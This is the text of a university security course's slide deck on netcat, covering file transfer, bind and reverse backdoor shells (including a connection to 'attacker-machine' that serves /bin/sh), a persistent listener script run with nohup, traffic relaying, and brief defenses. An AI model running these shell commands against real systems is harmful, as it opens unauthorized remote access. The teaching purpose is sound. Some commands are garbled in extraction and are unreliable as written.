CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Netcat

Downloading Netcat Netcat for Linux – Netcat for Windows – CIT 380: Securing Computer SystemsSlide #2

Netcat for File Transfer Copy files from machine foo to bar on port 3333 (-l, listen): Source Machine offering a file for transfer: nc -l -p 3333 > backup.iso Destination Machine, pulling the file: nc bar 3333 < backup.iso CIT 380: Securing Computer SystemsSlide #3

Backdoor Command Shell Victim –$nc –l –p 3333 –e /bin/sh Attacker –$nc victim 3333 –Type commands Port could be blocked by firewall CIT 380: Securing Computer SystemsSlide #4

Push Backdoor Command Shell Attacker Machine: $nc –l –p 3333 Victim’s Machine: $nc attacker-machine 3333 –e /bin/sh Attacker types command on shell running on victim CIT 380: Securing Computer SystemsSlide #5

Persistent Listener Victim’s machine listener.sh while [1]; do echo “Started”; nc –l –p 3333 –e /bin/sh; done chmod 555 listener.sh nohup./listener.sh & CIT 380: Securing Computer SystemsSlide #6

Relaying Traffic ncrelay.bat (Windows) C:\nc.exe [nexthop] C:\>nc –l –p –e ncrelay.bat CIT 380: Securing Computer SystemsSlide #7

Netcat Defenses Use firewall to prevent netcat transfers Minimum number of listening ports Know what process should be running on your system. CIT 380: Securing Computer SystemsSlide #8